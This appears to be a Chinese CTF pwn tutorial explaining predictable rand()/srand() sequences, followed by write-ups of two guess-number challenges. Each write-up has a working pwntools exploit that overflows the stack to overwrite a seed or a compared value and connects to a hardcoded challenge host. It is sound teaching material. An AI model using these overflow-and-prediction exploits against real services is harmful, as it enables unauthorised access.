pwn随机数漏洞
PWN中通常使用srand()和rand()配合使用来设置伪随机数。通常当我们输入的数可以覆盖到srand()中的值时,我们可以预测rand()产生固定序列。
关于rand()和sand()
rand()
rand()函数是使用线性同余法生成随机数,因为其周期特别长,所以在一定范围内可以看成随机的。但每次生成都是固定的序列
我们使用如下代码生成10个随机数:
#include<stdio.h>
#include<stdlib.h>
int main()
{
for(int i = 0; i < 10; i++)
{
printf("%d\n",rand());
}
return 0;
}
此时查看运行结果,多次运行结果一样。
srand()为初始化随机数发生器,用于设置rand()产生随机数时的种子。传入的参数seed为unsigned int类型,通常我们会使用时间time(NULL)或time(0)作为seed。当我们不设置srand()时,将默认为srand(1)。如果我们设置某个固定的seed,那么虽然在同一次运行时,会有不同的随机数产生,但是对于这段程序的多次运行所得到的结果是不变的。如下代码:
#include<stdio.h>
#include<stdlib.h>
int main()
{
srand(2);
printf("seed = 2:\n");
for(int i = 0; i < 10; i++)
printf("%d\n",rand());
srand(3);
printf("\n\nseed = 3:\n");
for(int i = 0; i < 10; i++)
printf("%d\n",rand());
srand(2);
printf("\n\nseed = 2:\n");
for(int i = 0; i < 10; i++)
printf("%d\n",rand());
return 0;
}
结果如图:
攻防世界guess_num
来自攻防世界的guess_num
分析
先用IDApro反汇编elf文件,关键部分如下
反汇编后发现随机数漏洞
即可以通过覆盖name的值来改变seed的值
而C语言随机数中的随机数为伪随机数,可以通过在Linux系统中编写相同seed的代码找到这些随机数
成成随机数的代码
#include
#include
int main()
{
srand(1);
for(int i=0;i<10;i++)
{
printf("%d\n",rand()%6+1);
}
return 0;
}
exp
from pwn import *
c=remote("220.249.52.134","48107")
payload="a"*0x20+p64(1)
c.recvuntil("name:")
c.sendline(payload)
ins=[2,5,4,2,6,2,5,1,4,2] #通过gcc编译的代码找到的随机数
for i in ins:
c.recvuntil("number:")
c.sendline(str(i)) #注意,sendline发送的都为字符型数据,要想发送数字得加上str()函数
c.recv()
c.interactive()
HGAME 2018 guess_number
杭电的Vidar-Team举办的校内赛,其中也有一道利用随机数漏洞的题
分析
题目流程很简单,首先生成一个随机数,使用这个随机数作为rand()的种子,生成随机数,与用户输入的随机数进行比较,比较正确就会返回system(‘cat flag’)。
在这题中,并不需要利用随机数伪随机的性质,在guess_num函数中的栈溢出是可以利用的,这个随机数是以参数的方式传入的,在比较时寻址方式是用ebp+4来寻址的,也就是说利用栈溢出覆盖,完全可以将随机数覆盖成任意值。
exp
from pwn import *
import time
p = remote('111.230.149.72 ', 10002)
p.recvuntil('enter your guess:')
a = "0\x00"
a = a.ljust(0x128,'\x00')
p.sendline(a)
p.recv()
p.interactive()